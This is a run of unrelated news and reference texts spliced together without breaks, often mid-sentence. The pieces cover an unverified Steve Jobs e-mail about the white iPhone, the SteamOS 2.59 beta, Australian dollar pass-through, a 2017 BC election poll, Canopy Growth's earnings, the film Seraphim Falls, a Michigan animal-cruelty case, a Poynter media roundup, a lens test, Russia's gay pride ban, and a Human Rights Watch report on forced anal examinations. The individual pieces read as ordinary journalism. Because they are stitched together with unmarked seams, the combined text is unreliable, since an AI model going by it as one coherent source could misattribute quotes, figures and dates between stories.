conference. Pushed back to “later this year” in a press release issued the next week (“more challenging to manufacture than we originally expected”). Possibly the reason, some speculated, that the head of the iPhone division was relieved of his duties in early August. All of which leads to the latest e-mail exchange with Steve (“unverified”) Jobs, the chattiest CEO on the Internet. The first part comes from a San Bernardino, Calif., high school student. Hello Steve, My name is Nathan, I’m a high school student from San Bernardino. I also happen to be one of your biggest fan and a total Apple fanboy and proud to be I’ve been saving up money to buy the new iphone 4. I want the white one but Apple said it won’t be available until later this year. I know you must be asked this question hundreds of times a day but do you think we can expect to get the white iphone for xmas? I hope you can answer. Thank you Steve. The second part comes from someone who appears to be Steve Jobs, sent from his iPhone: Christmas is later this year. “But,” adds Mobiles DNA‘s Jenny Lewis, who posted the purported exchange (in somewhat fractured English), “This an unverified email, we cannot take it 100% confirmed source of the news being true.” [Follow Philip Elmer-DeWitt on Twitter @philiped]Just a few hours ago, Valve pushed a new Beta update the SteamOS Brewmaster Beta (brewmaster_beta) channel, version 2.59, bringing support for new controllers, patching various security issues and updating the Bluetooth stack. The SteamOS 2.0 Brewmaster Build 59 Beta was actually generated on January 6, 2016, but the official announcement and the ISO images were published on January 7, when Valve stated that it introduced "Additional game controller support in the linux kernel, an updated bluetooth stack and the usual security fixes." Therefore, we can report today that the SteamOS Brewmaster 2.59 Beta operating system comes with updated kernel packages that add support for the Microsoft Xbox One Elite controller. However, SteamOS users who use the Beta channel and have an Xbox One Elite controller should be aware that only wired support is available, and that paddles are mapped to ABXY. Security updates, Bluetooth improvements In addition to the Microsoft Xbox One Elite controller support implemented in the Linux kernel and Linux Firmware packages, Valve also updated the Bluetooth stack in SteamOS 2.0 Brewmaster Build 59 by adding the Bluez 5.36-1 package and enabling the Bluetooth module in the PulseAudio sound server by default. Furthermore, the steamos-autoupdate package was updated to no longer allow services to start during an unattended upgrade at shutdown. Various other pieces of software have been updated as well to their latest versions as of January 7, 2016, including Iceweasel, Git, Bind, Samba, CUPS Filters, LDB, and libxml2. If you're on the SteamOS Brewmaster Beta channel, you can update to Build 59 right now, otherwise you can download the SteamOS Brewmaster 2.59 Beta ISO images from our website and attempt a fresh installation. However, please note that this is a pre-release version of the SteamOS Linux distribution and it's not suitable for deployment in production environments as it is considered unstable.High dollar slow to filter through on local prices Updated A new report by the Reserve Bank shows that we really are not getting the benefit of the high Australian dollar. It shows only about a tenth of the Australian dollar's recent rise is filtering through to domestic prices, and it may take three years to do so. But the report does not put sole blame on price gouging by retailers, saying local costs like rent, wages and transport are reducing the amount of benefit Australians see from their currency's rise. Despite recent volatility, the Australian dollar has remained consistently above parity with the greenback since February. The local currency is also more than a third higher than its average in the mid-2000s. Russell Zimmerman from the Australian Retailers Association says the trend is not price gouging by his members, but reflects the other costs of doing business. "Retailers are facing huge costs. Your rent is an immense problem to you, because most rents are set at CPI plus 2 per cent, so over the term of a five-year lease, you've got somewhere around about a 27 to 30 per cent increase on your lease," he said. "A specialty fashion store could easily be paying up to 20 per cent of their turnover in rent." Mr Zimmerman says penalty rates on weekends are also a major rising cost for retailers that offset cheaper imports from a higher dollar. "Over the next couple of years we will be paying time-and-a-half on Saturday, double time on Sunday, in an industry where people expect retail stores to be open seven days a week," he said. Unsurprisingly, the Reserve Bank estimates more than twice as much currency impact for imported tradeable goods, including electronics, clothing, footwear and cars. And Bureau of Statistics inflation figures show some goods have consistently fallen in price in recent years - such as electronics - while others prices have stayed pretty much the same, like clothing. But Mr Zimmerman says even in imported goods, there are overseas factors - including rising labour costs - that are currently offsetting the high value of the dollar. "In the fashion area, we're seeing increases in the cost of cotton which has flowed onto things like linen and bamboo and flax and all sorts of other products - rayon, nylon - that are used in the industry. So we are seeing some increases in raw materials," he said. "The other thing that is affecting a lot of the products we import from overseas is the cost of labour in China. "Their workers are looking for - and receiving - better conditions, so the cost of doing business is going up in China." But the Reserve Bank report says there does seem to be a slightly smaller lag in the pass-through of exchange rate benefits in recent years, and that may be due to extra competitive pressure from the internet. Topics: currency, business-economics-and-finance, markets, economic-trends, australia, united-states First postedJust over one week before B.C. voters head to the polls, a new poll is breaking down how British Columbians feel about each party — and the numbers suggest the BC Liberals and the BC NDP are in a tight race. Monday’s poll comes almost three weeks after the last Ipsos poll on April 11 and shows the Liberals and the NDP in a statistical tie among decided voters. According to the poll, the Liberals now have a two-point lead over the NDP. Currently, 43 per cent of decided voters say they would be most likely to support or lean towards the Liberals, while 41 per cent favour the NDP. Since the start of the campaign, the BC Liberals have moved up four points, while the NDP has lost points (was 44 per cent NDP to 39 per cent Liberals). The BC Green Party currently has the support of 14 per cent of decided voters, which is up two points from the start of the campaign, according to the poll. The Green party remains set to benefit the most from potential vote switching. Twenty per cent of voters say they are undecided or expressed no preference towards any political party. The survey did provide some hope for parties trying to unseat the Liberals with 51 per cent of respondents saying they felt it was “time for another provincial party to take over.” Over half as many respondents, 29 per cent, said the current provincial “government has done a good job and deserves re-election.” Those results showed a marked improvement for BC Liberal leader Christy Clark and the Liberals, with the number of voters hoping for another party to take over the government dropping by five points since the last poll. But the race between BC NDP leader John Horgan and Clark is closest when it comes to which leader would make the best premier. Just a three-point difference separates the two, with Clark in the lead. Most notable is the rise of BC Green leader Andrew Weaver and the BC Greens over the last several weeks. Fifteen per cent of respondents said Weaver would make the best premier, giving him a four-point boost over April’s poll. But if British Columbians were to put their bet on which government would take office on May 9, the Liberals come out on top with 35 per cent. The NDP made large gains over the previous poll in that category, up seven points to 29 per cent. As for which issues people believe deserve the greatest attention from the party leaders, health care tops the list (36 per cent), followed by housing affordability (32 per cent) and jobs and employment (19 per cent). Horgan was chosen as most capable at tackling health care (35 per cent compared to Clark’s 22 per cent) and housing affordability (35 per cent compared to Clark’s 17 per cent). Clark and the Liberals are rewarded for consistently pushing jobs during campaign stops, earning the place of best party to take on jobs and employment (33 per cent over Horgan’s 27 per cent). Economy (16 per cent) and social issues, like poverty and homelessness, (15 per cent) rounded out the top five most important issues. Of the five issues, respondents only preferred Clark over Horgan on the issues of jobs/employment and economy. The tightness of the election race is most clearly shown by which candidate respondents felt won the televised debate on April 27. Each candidate earned exactly 25 per cent of the vote. Exclusive Global News Ipsos polls are protected by copyright. The information and/or data may only be rebroadcast or republished with full and proper credit and attribution to “Global News Ipsos.” This poll was conducted between April 27 and 30, 2017 with a sample of 834 British Columbians. The poll was conducted online via the Ipsos I-Say Panel. These data were statistically weighted by region, age, gender and education to ensure the sample composition reflects that of the actual BC population according to Census data. The precision of Ipsos polls containing online data is measured using a credibility interval. In this case, the overall poll is accurate to within +/ – 3.9 percentage points, 19 times out of 20, had all eligible voters been polled. The credibility interval will be wider among subsets of the population. All sample surveys and polls may be subject to other sources of error, including, but not limited to coverage error, and measurement error.A significant spike in expenses led Canopy Growth Corp. to quadruple its first quarter loss, but the company’s chief executive officer is defending the spending spree as prudent preparation for the legalization of recreational marijuana next year. The Smith’s Falls, Ont.-based medical marijuana company, the first in Canada to hit a billion-dollar valuation, reported a $21.1-million loss in the three months ending Mar. 31 compared with a $5.1-million loss in the same period last year despite nearly tripling its revenue to $14.7 million. Its operating expenses also tripled year-over-year to $23.4 million from $7.7 million. Canopy’s stock price dropped more than 6 per cent before closing down 47 cents at $7.99 in Toronto Tuesday despite reassurances from CEO Bruce Linton. In a conference call with analysts, he said the extra spending on consultants, staff and construction to expand its facilities, along with costs associated with the $430-million acquisition of Mettrum, are part of the company’s strategy to be “best ready and best positioned” for the recreational market. The federal government committed in April to legalization by July 1, 2018. “Everything we were doing and are doing is to make sure we are where we want to be for the beginning of 2018,” Linton said. Canopy has been planning for a 2018 end to prohibition since the beginning of the year, but Linton said he wasn’t able to discuss that in a public forum when he last reported results in February. It’s “more appropriate now,” he said, given the feds’ spring announcement. This should help investors understand Canopy’s business decisions, he added. While Linton hasn’t had a specific dialogue with the government on timing, he believes there’s “no chance” it will wait to legalize on Canada Day. He predicted legalization could land by April 20, a date on which cannabis is celebrated. “It would play to the crowd that they wish to reach.… I wouldn’t bet against them looking for a good PR position on this,” he said. Meantime, he said there’s “a lot going on behind the curtain” to determine branded product offerings to submit for bureaucrats’ approval and to develop intellectual property on genetics and breeding. It’s “prudent” to keep investing heavily for another quarter or two rather than focusing on profitability, he said. “It may sound odd but we’re intentionally not turning (a profit) now so we can make a more substantial hit in 2018,” he said. Canopy sold 1,740 kilograms and kilogram equivalents at an average price of $8.03 per gram, up from 700 kilograms at $7.16 per gram in the same period last year. But its gross margins fell substantially to 10 per cent of revenue from 53 per cent of revenue last year due to its decision to lower prices on the Tweed Farms Sun-Grown strain. This product will ultimately be used to extract oils for gel capsules, which were recently approved by Health Canada. Analysts also questioned Canopy about its high inventory after its stockpiles more than doubled in value from last year to $59.6 million. Executives said the volume is due to 4,810 kilograms of dry cannabis being held for extraction, as it took nearly two quarters to get a large-scale extractor up and running. It’s now running well and is expected to produce a large volume of oils at a grade that will work for both the medicinal and recreational markets.Seraphim Falls is a 2006 American Revisionist Western film directed by television producer and director David Von Ancken in his first feature film. The storyline was conceived from a screenplay written by Von Ancken and Abby Everett Jaques. The fictional story focuses on a bounty hunt for a Union soldier by a Confederate colonel following the American Civil War in the late 1860s. Pierce Brosnan, Liam Neeson, Michael Wincott, Tom Noonan, and Ed Lauter star in principal roles. Seraphim Falls explores civil topics, such as violence, human survival and war.[2] The film was produced by the motion picture studio of Icon Productions. It was commercially distributed by Samuel Goldwyn Films and Destination Films theatrically, and by Sony Pictures Home Entertainment for home media. The film score was composed by musician Harry Gregson-Williams, although a soundtrack version for the motion picture was not released to the public. Seraphim Falls premiered at the 2006 Toronto International Film Festival and was released to theaters in limited release in the United States on January 26, 2007 grossing $418,296 in domestic ticket sales. It earned an additional $801,762 in box office business overseas for a combined worldwide total of $1,220,058 in revenue. The film was generally met with positive critical reviews before its initial screening in cinemas. The widescreen DVD edition of the film featuring scene selections and a bonus featurette, was released in the United States on May 15, 2007. Plot [ edit ] In 1868, within the Ruby Mountains, Gideon (Pierce Brosnan) roasts hare over an open fire. Suddenly, gunshots ring out with one striking his left arm. He grabs what he can and races down the mountain. His attackers emerge from their cover to inspect his campsite. Colonel Morsman Carver (Liam Neeson), a former Confederate officer, is accompanied by Pope (Robert Baker), Hayes (Michael Wincott), Parsons (Ed Lauter) and the Kid (John Robinson); who are all engaged in a bounty operation to apprehend him.[2] After removing the bullet from his arm with his hunting knife at a secluded locale, Gideon leaves an open fire burning, which attracts the posse. He ends up killing Pope with his knife and then ventures out again into the wilderness. He attempts to steal a horse, but is caught by a young woman named Charlotte (Shannon Zeller) who helps him after she realizes he is injured. She redresses his wound and her family lets him sleep overnight in their farmhouse. He later offers to buy their horse and leaves before daybreak. As the group of men approach Gideon's trail, he lays an ambush using a bear trap which impales the Kid, who is then shot by Carver as an act of mercy. Later, Parsons decides to leave the other men following the discovery of a dead bank robber (James Jordan), whom Gideon had killed earlier in an act of self-defense and whose bounty money exceeds Gideon's.[2] As Parsons is preparing to load the dead body to take to Carson City for the reward money, Carver shoots the horse - which he declares is his, leaving Parsons to walk the 30 miles back to town carrying the body. Encountering a railroad under construction, Gideon hitches his horse and steals some food. The foreman recognizes the stolen horse and detains Gideon. Carver and his remaining man, Hayes, come upon the railroad site and search for Gideon. Meanwhile, Gideon escapes from custody and makes off with another horse. As Carver and Hayes draw closer, Gideon's horse can no longer take the strain of the heat and collapses. Gideon euthanizes the horse with his knife. When Carver and Hayes finally reach the horse's carcass, Hayes dismounts and marvels at what type of an animal would disembowel the creature. Suddenly, Gideon leaps out from the horse's belly, where he had been hiding, and grabs Hayes threatening to kill him if Carver doesn't give up his gun. Carver instead shoots Hayes with his last bullet. Confronting each other, Carver and Gideon recall the events that put them at odds. After the end of the American Civil War, Gideon was ordered to track down former Confederate officers. When he arrived at Carver's home in Seraphim Falls to interrogate him, Carver was out in a nearby field. To coerce Carver's wife (Angie Harmon) into revealing his whereabouts, and believing that their house was empty, Gideon ordered their barn to be set on fire. The blaze quickly spread to the house, as Carver returned from the cropland. While the soldiers restrained him, his wife and son ran inside the house to save their infant child who was still in a bedroom. Both men look on with horror at the unfolding tragedy; trapped by the flames, Carver's wife and children perish. Gideon, racked with guilt over the tragedy, is seen dropping his gunbelt and walking away from his men.[2] The two men fight, Gideon eventually getting the better of Carver. He points Carver in the direction of a town and tells him that he will get nothing but torment if he continues his pursuit. Gideon takes the horses ridden by Carver and Hayes and sets off deeper into the countryside. When Carver later catches up with Gideon, both men are on the brink of exhaustion. They confront each other again with their pistols. Gideon shoots Carver in the side but, instead of finishing him off, he offers himself to Carver. Carver decides not to shoot him and throws his pistol aside. Gideon helps Carver to his feet and the two men walk into the distance away from one another. In a final scene, Gideon takes his knife, which he has used throughout the film, and throws it into the ground.[2] Notable similarities have been found between the film and the 1976 revisionist western, The Outlaw Josey Wales directed by Clint Eastwood.[3][4] Cast [ edit ] Production [ edit ] Filming [ edit ] David Von Ancken first researched the script for six months before joining Abby Everett Jaques to create the screenplay.[9] The film was originally announced at the Cannes Film Festival with Liam Neeson and Richard Gere in the lead roles. Gere dropped out in August 2005 and was soon replaced by Pierce Brosnan.[6] Shooting on Seraphim Falls started on October 17, 2005[10] and actress Anjelica Huston later joined the cast the following November.[8] The film was filmed on location for 48 days, primarily in New Mexico;[11] some of the opening scenes were filmed along the McKenzie River in Oregon.[12] Oscar-winning cinematographer John Toll was responsible for cinematography work on the film. Toll later noted it was a "great opportunity to work with a director who was interested in visual storytelling."[13] Music [ edit ] The soundtrack, composed by Harry Gregson-Williams, was produced at Bastyr University's chapel in Kenmore, Washington.[14] Gregson-Williams wrote the music in three or four weeks, describing it as "very atmospheric".[15] However, a CD soundtrack version of the film's score was never released to the public. The sound effects in the film were supervised by Kami Asgar.[16] The mixing of the sound elements were orchestrated by William Sarokin and mastered by Steve Maslow.[16] Reception [ edit ] Critical response [ edit ] Among mainstream critics in the U.S., the film received mixed to positive reviews.[17] Rotten Tomatoes reported that 54% of 81 sampled critics gave the film a positive review, with an average score of 5.7 out of 10.[18] At Metacritic, which assigns a weighted average out of 100 to critics' reviews, the film received a score of 62 based on 21 reviews.[17] Following its cinematic release in 2007, Seraphim Falls received a nomination from the Gotham Awards for the "Breakthrough Director Award".[19] In 2008, the film won the "Best Specialty Stunt" award from the Taurus World Stunt Awards for Mark Vanselow and Craig Hosking.[20] Neeson, who has more presence doing nothing than most actors do playing Hamlet, gives Carver hints of a psycho drive beneath his righteous scowl. —Owen Gleiberman, writing in Entertainment Weekly[21] In a mixed review, Christy Lemire writing in the Deseret News mused about the lead characters, stating, "Their climactic confrontation is visually arresting in its starkness. But as an anti-war statement, a call to lay down arms that's clearly intended to be relevant today, it's a bit too clunky in its literalism." She ultimately found the film to be "technically solid" but a "dramatically unremarkable Western".[22] Todd McCarthy of the Variety staff believed the film was "nothing rousing or new" and that Brosnan along with Neeson wouldn't be enough "to muster more than modest theatrical B.O. for this very physical but familiar oater." He did however reserve praise for the cinematography noting, "Its physical beauty notwithstanding – Toll's work, which emphasizes the blues and greens of the forests, is always a pleasure to behold".[23] The film however, was not without its supporters. Claudia Puig writing for USA Today offered an almost entirely positive review recalling how she thought the film was a "psychological drama with an intriguing ambiguity that challenges the viewer's loyalties and preconceived notions." She remarked that the storyline was an "elaborate and relentless chase that takes those involved into primal psychological terrain."[24] Stephen Holden writing in The New York Times applauded some of the realism displayed in the film, commenting, "Nothing in the rest of the film comes close to matching the impact of Gideon’s carving the bullet from his arm with his hunting knife, then cauterizing the wound while emitting agonizing howls. This scene is enough to give you vicarious hypothermia." He also expressed his satisfaction with the visual attributes of the picture by saying "Its strongest element is the austere majesty of the cinematography by John Toll ("Braveheart," "Legends of the Fall," "The Thin Red Line"), in which the severe beauty of the Western landscape looms over the characters as a silent rebuke."[3] Critic Josh Rosenblatt, writing for The Austin Chronicle viewed Seraphim Falls as "Meditative, beautifully shot, and blessed with a healthy dose of cynicism" and a "morality play without the morality and a Western Purgatorio that, in the end, demands its protagonists resign themselves to their loneliness and brutality and avail themselves of the redemptive power of sheer exhaustion."[25] Kevin Crust of the Los Angeles Times gave the film a somewhat mixed rating calling it "A beautifully shot chase film by writer-director David Von Ancken and co-writer Abby Everett Jaques, it moves along with minimalist efficiency" but overall admitting it ran out of "gas during an overlong allegorical final section."[26] Author Joshua Rothkopf of Time Out commented that the film "has all the good looks of its wintry Oregon locales, not to mention the equally craggy faces of Liam Neeson and a grizzled-up Pierce Brosnan, embroiled in a Fugitive-like pursuit with the latter on the run."[27] When actors of Neeson and Brosnan's quality stoop to material so obviously beneath them, a lashing at least might be in order. —Ruthe Stein, writing for the San Francisco Chronicle[28] Peter Rainer of The Christian Science Monitor highlighted the film's merits by declaring that it was "essentially one long, bleak stalk-and-kill action thriller. From the rugged snowscapes to the cracked desert vistas, director David Von Ancken and cinematographer John Toll serve up a whole lot of eye candy from the great outdoors." He added, "The film functions as a kind of survivalists' guide, and there's a morbid pleasure in seeing how Gideon extricates himself from one impossible situation after another."[29] Alternately though, columnist Joe Morgenstern of The Wall Street Journal sadly mentioned, "things take a turn from simplicity
case, the Clare County Prosecutor reports. Richard Bancroft Prosecutor's case against Richard Bancroft fell apart during a preliminary hearing for a judge to determine if there was sufficient evidence to go to trial. Bancroft, 60, was arrested July 28 after a Hayes Township woman reported to police that she returned to her home July 3 to find the bodies of her five kittens burned in a pile. Bancroft was arraigned July 30 on a single count of torturing/killing animals. That charge has been dismissed because of insufficient evidence and testimony, Clare County Prosecutor Michelle J. Ambrozaitis said on Friday, Sept. 18. "It was somewhat bizarre listening to the testimony," Ambrozaitis said. "Clearly, somebody put them in fire. We want to see who that person is." "The main witness, the person who supplied all of the information that (Bancroft) did it, his testimony flatly contradicted what he told law enforcement," she said. "He contradicted himself and his testimony was contradictory to the other witness' testimony." "Mr. (Calvin) Rock said he was present and didn't see Mr. Bancroft set the fire," she said. "He didn't see him put the kittens into the fire." The judge made the right decision in the case, the prosecutor said, in finding that there was a lack of evidence to show that Bancroft started a fire or that he burned the kittens. The prosecutor has requested the Sheriff Department to continue its investigation and to re-interview witnesses identified during the preliminary examination. "This was a heinous offense and the perpetrator must be found, apprehended, and be prosecuted to the fullest extent of the law," she said. Anyone with any information about the case is asked to call Clare County Central Dispatch at 989-539-7166. -- Brad Devereaux is a public safety reporter for MLive/The Saginaw News. Follow him on Twitter, Facebook and Google+Lots of journalists are suspicious of Wall Street and free markets. But when it comes to President Donald Trump, are investors smarter than many of those same journalists? During a Wall Street Journal interview, Trump claimed that Apple Inc. promised to build “three big plants, beautiful plants” in the United States. This prompted a double-take from Shira Ovide, technology columnist for Bloomberg Gadfly, a commentary section at Bloomberg. “I have no idea what the president meant, and Trump didn't elaborate in the interview,” she writes. “Clearly the president wants to take credit for convincing the world's most valuable public company to start making iPhones in U.S. factories that hire U.S. workers. It's a pledge Trump made when he was campaigning for president. But there is a zero percent chance this is true.” “Apple doesn't build or operate factories — except a lonely one in Ireland that manufactures some Mac computers but exists mostly for tax reasons. Apple made itself an American success story by helping to create one of the world's most intricate manufacturing and production networks — in Asia, owned and operated by Apple's corporate partners in Asia, employing people in Asia. This won't change by U.S. presidential decree.” Where she gets really interesting is noting the dilemma of parsing Trump's words. “This is the impossible situation faced by both the political and the business press in trying to write about public figures who should be authoritative sources, but can't be believed.” No matter what Trump says, a “made in America” iPhone isn't coming, nor is any other manufacturing facility of the company. If it made such an announcement, “its stock price would be tanking.” In fact, its stock went up Wednesday. “Investors by now know not to take the president's comments literally.” I asked Ovide if it were possible that Wall Street is more bloodlessly accurate than some journalists in interpreting Trump. “Yes. I think investors have learned to take Trump seriously but not literally, to use that abused line.” Lead of the day Ross Douthat in The New York Times: "Donald Trump’s campaign against his attorney general, Jeff Sessions, in which he is seemingly attempting to insult and humiliate and tweet-shame Sessions into resignation, is an insanely stupid exercise. It is a multi-tiered tower of political idiocy, a sublime monument to the moronic, a gaudy, gleaming, Ozymandian folly that leaves many of the president’s prior efforts in its shade." CNN news flash I looked at my phone last night and there was at 8:34 p.m. from CNN: "Your most intense workouts could put you at risk for a dangerous condition." So it's not just the president we should be worried about. Beware of elliptical trainers. An "ambassador" for listeners Adam Payne, a loyal listener of New York City public radio station WNYC, served as "ambassador" for the station in relaying listener concerns at a meeting of the major transit agency yesterday. The system is a mess right now and has prompted a political fight between the mayor, Bill de Blasio, and the governor, Andrew Cuomo, brother of CNN's Chris. He passed along a list with details of grievances of 300 listeners who have written the station. He's bound to a wheelchair with ataxia, which impacts coordination and speech. Here were some of his specific suggestions. Headline of the day "That Joe and Mika New York magazine cover is why everyone hates the media." (National Review) "When journalists willingly make themselves the center of the story, ordinary voters shake their heads in disgust." "Once upon a time, the greatest sin journalists could commit was to make themselves a part of the story. MSNBC’s Joe Scarborough and Mika Brzezinski did just that, soaking up the fluorescent spotlight on the cover of New York magazine and dishing about their'star-crossed relationship with the president' — and, of course, each other — in its pages." A very good read Bloomberg Businessweek explores how Samsung seems to be thriving despite its exploding phones disaster and its de facto chief being on trial for bribery and embezzlement in South Korea. That scandal played a role in the nation's first female president resigning. But central to its future — in particular its ability to compete with Silicon Valley-based rivals — is whether it can dramatically alter a hierarchical corporate culture. There's this reality, too: "The formerly supportive local media has abandoned the presumption that what’s good for Samsung is good for the country (not to mention for their own bottom lines; Samsung is a major advertiser)." And this morning's Wall Street Journal also explores Samsung's success and how it's on track to topple Apple as the world's most profitable company. The transgender ban Fox's Tucker Carlson got a White House interview with Vice President Pence Wednesday, a few days after "Carlson was on Fox News’ airwaves openly linking the transgender community to 'child abuse.'" (Salon) "Hosting the president of the anti-LGBTQ group American College of Pediatricians (ACPeds) — not to be confused with the American Academy of Pediatrics (AAP), a mainstream professional group — Carlson quoted an article by his guest, Dr. Michelle Cretella, that featured this explosive charge: 'Transgender ideology has infiltrated my field and produced large-scale child abuse.'" So, was Carlson the impetus for Trump's tweets blocking transgender Americans from military service? Or, as Politico reports, was the change in policy a function of internal Republican disarray in the House that relates to passage of a spending bill with money for his beloved Mexican wall? "But an internal House Republican fight over transgender troops was threatening to blow up the bill. And House GOP insiders feared they might not have the votes to pass the legislation because defense hawks wanted a ban on Pentagon-funded sex reassignment operations — something GOP leaders wouldn’t give them." Banning U.S. aid for birth control The impact on Africa of Trump moves to ban birth control aid was well spotlighted on Vice News Tonight on HBO. Just one projection: In the capital of Malawi, about 600,000 women will lose access to birth control, with illegal abortions surely hiked and more women dying. It will impact dollars for HIV assistance, too. Would better pay make for better politicians? Emir Kamenica came to public attention in a 2013 This American Life profile by the author Michael Lewis. It looked at his amazing personal journey from war-torn Bosnia in the 1990s to the U.S. and Harvard University — and an intriguing clash in memories involving him and an Atlanta school teacher who played a big role in his life. He's now a rising academic at the University of Chicago and is star of a short video version of a research paper about politicians and compensation. The conclusion: salary makes less of a difference than we assume in recruiting quality people and, in fact, salary hikes may be more of a lure to less accomplished individuals. (U.S. News & World Report) Sterilizing the incarcerated As The Marshall Project notes, "In 1907, Indiana became the first state to pass a law allowing for the compulsory sterilization of 'confirmed criminals,' 'idiots,' 'imbeciles' and 'rapists.' As a result, hundreds of men held in Indiana prisons were given vasectomies." And, if you didn't know, sterilization still continues in America prisons. For example, "A Tennessee judge is offering reduced jail time to men and women who appear before him in court. And all they have to do to earn that break is 'volunteer' to be put on a contraceptive or sterilized." The morning babble Trump & Friends opened by showing a full-page Fox ad in the evil, failing, Trump-bashing New York Times proclaiming it to be "the most powerful TV show in America." It was so tickled pink to be so legitimized by an outlet it pillories. Then it was on to chagrin over Anthony Scaramucci's financial disclosures being leaked and his suggestion in a late-night tweet (later deleted) that senior officials are doing it, perhaps even chief of staff Reince Priebus (which he then denied). CNN and MSNBC were similar in underscoring Trump failings, notably on health care, with CNN's New Day detailing shortcomings of a possible "skinny" alternative that would leave many millions without insurance. For C-SPAN junkies, the Senate may go through the night with its latest so-called "vote-a-rama" with possibly hundreds of amendments preferred. As for Attorney General Jeff Sessions, Bill Kristol underscored the bullying of Sessions by Trump, while fellow conservative Ben Ferguson took a milder tact and said that there are "some disagreements" on how Trump handles certain things. Some? Corrections? Tips? Please email me: jwarren@poynter.org. Would you like to get this roundup emailed to you every morning? Sign up here.Olympus M. Zuiko Digital ED 7-14 mm f/2.8 from Pier-Yves Menkhoff on Vimeo. Pier Yves sent me his latest test video shot with the brand new Olympus 7-14mm PRO lens: 2I love the wide angles lens. This lacks to Panasonic. There is no fixed wide angle lens below 28 mm. It’s a shame. The Olympus M. Zuiko Digital ED 7-14mm F/2.8 has been tested with the Panasonic DMC-GM1. This is the “jewel” that I bring with me anywhere when I travel. I really love it. However, all is disproportionate. The Olympus is heavy and huge in comparison to the GM1. The result, if the quality is at the rendez-vous, the 7-14 is not suited to travel. It is best suited to lovers of architecture. With a 7-14, one is quickly frustrated not to zoom. Just a little bit!”Yikes, Russia! A week after protestors for gay rights were arrested in Moscow, a district court upheld the decision by a Moscow city court to ban gay pride parades for 100 years. Yes, the government can now legally forbid gay pride for a century, from March 2012 to March 2112. Must Russia always be so epic? Thankfully activists are already planning to appeal this ridiculously dramatic ruling. From Reuters: Nikolay Alekseyev, one of the leaders of the Russian LGBT community and organizer of gay pride events, told reporters that he intended to appeal the decision in the Moscow City Court Presidium, and that if the highest Russian instance also rules against him, to address the European Court of Human Rights. Alekseyev explained to the reporters that in 2011, the activists found a loophole in Russian legislation and submitted requests for 102 gay pride parades to the Moscow Mayor’s office. According to the activist, all they got in return was a letter with a quote from regulations, although the law obliges the city authorities to either allow or ban the planned event within 15 days. At the same time, Alekseyev admitted that he and his comrades never hoped to actually receive a license for the parade but simply needed a formal excuse to turn to the European Human Rights Court. “They refuse our requests every time, but in Strasbourg they recognize these rulings as unlawful. But time does not stand still, we ask for a new event and again they refuse us,” the activist noted. Sadly, when the ban ends, you still won’t have finished reading War and Peace. Photo: Nikolai Alekseev/WikipediaIn at least eight countries in which consensual same-sex conduct is criminalized, law enforcement officials working in tandem with medical personnel subject men and transgender women who are arrested on homosexuality-related charges to forced anal examinations, with the purported objective of finding “proof” of homosexual conduct. These examinations often involve doctors or other medical personnel forcibly inserting their fingers, and sometimes other objects, into the anus of the accused. Law enforcement officials and some medical personnel claim that by doing so they can determine the tone of the anal sphincter or the shape of the anus and draw conclusions as to whether or not the accused person has engaged in homosexual conduct. This argument is based on long-discredited 19th century science: the overwhelming weight of medical and scientific opinion holds that it is impossible to use these exams to determine whether a person has regularly engaged in same-sex conduct. Forced anal examinations are a form of cruel, degrading, and inhuman treatment that can rise to the level of torture. They violate the Convention against Torture, the International Covenant on Civil and Political Rights, and the African Convention on Human and Peoples’ Rights. Forced anal exams are invasive, intrusive, and profoundly humiliating. As the UN Committee against Torture has emphasized, they “have no medical justification and cannot be consented to fully.” Countries around the world should ban the practice of conducting forced anal examinations on men and transgender women accused of consensual same-sex conduct. Some people subjected to these examinations experience lasting psychological trauma. Several victims told Human Rights Watch that they experienced forced anal examinations as a form of sexual violence. Human Rights Watch believes that they are a form of sexual assault. Medical personnel who conduct forced anal exams do so in violation of international principles of medical ethics, including the prohibition on medical personnel participating in any way in acts of torture or degrading treatment. This report compiles evidence of the use of forced anal exams in eight countries: Cameroon, Egypt, Kenya, Lebanon, Tunisia, Turkmenistan, Uganda, and Zambia. We have also received reports of the use of forced anal exams by police in Syria, which we have not independently verified. The report is based on interviews with 32 men and transgender women who underwent forced anal examinations. Human Rights Watch also interviewed doctors and medical personal about the use of anal exams, and sought the opinions of forensic specialists from around the world. The report recommends that all states ban the practice of forced anal examinations, and that international and domestic human rights and health institutions vigorously and vociferously oppose their use. A medical officer in Uganda who conducts forced anal examinations told Human Rights Watch in February 2016 that he did not see how the anal exams constituted a human rights violation. He tried to justify the exams, stating: “I don’t see it as a human rights violation. I’m also helping them. For instance, I inform them if they have STIs, which allows them to get treatment.”[1] But such claims are belied by the realities described by people subjected to the exams. Mehdi, a Tunisian student subjected to an anal examination in December 2015, that involved a doctor penetrating his anus with a finger and with a tube told us: I felt like I was an animal. I felt I wasn’t human. … When I got dressed they put handcuffs on me and I went out, feeling completely in shock. I couldn’t absorb what was going on. The two police were standing and watching what the doctor was doing. I felt violated. I didn’t want to be naked in front of people – not just one person, but three people. … It was the first time anything like this had happened to me and I couldn’t absorb anything.[2] Muharram, an Egyptian man interviewed for Human Rights Watch’s 2004 report, In a Time of Torture (p. 115), likely spoke for many victims of anal exams when he said: The two worst times in my life were at the forensic doctor’s, and after that the verdict, when he said, ‘Two years [in prison].’ When I sleep, every night I remember those two things. I have bad dreams. Louis, who underwent a forced anal examination in Cameroon in 2007 at age 18, echoed Muharram’s sentiments. Nine years after the forced anal examination, he told us: I still have nightmares about that examination. Sometimes it keeps me up at night when I think about it. I never thought a doctor could do something like that to me.[3] Genwa Samhat, director of the lesbian, gay, bisexual, and transgender (LGBT) rights group, Helem, in Lebanon, who has interviewed a number of victims of forced anal exams, said that even when she recently interviewed a victim three years after the fact, he found it difficult to speak about the traumatic experience. She explained, “It’s a form of post-rape trauma. [Forcing someone to undergo an anal exam] has the same effect as raping people.”[4] The use of anal examinations varies from country to country. In Egypt and Tunisia, forced anal examinations are used regularly in prosecuting homosexual sex. Police take men and transgender women who are arrested on homosexuality-related charges before a forensic medicine specialist, who conducts an anal examination and prepares a report, which is then introduced into court as a form of evidence for the prosecution. In Cameroon and Zambia, although use of forced anal exams is less frequent than in Egypt and Tunisia, prosecutors have introduced medical reports based on anal exams into court, contributing to convictions of individuals charged with consensual homosexual conduct. In Uganda, in the last three years, police in Kampala have frequently subjected men and transgender women accused of consensual homosexual conduct to anal exams. All of those cases have been dismissed before reaching trial. Occasional cases have been reported outside Kampala, which have also been dismissed before trial. In Kenya, Human Rights Watch and its Kenyan partner organizations are only aware of one instance of forced anal examinations, conducted in February 2015, on two men arrested for “unnatural offenses.” In September 2015, with the support of Kenya’s National Gay and 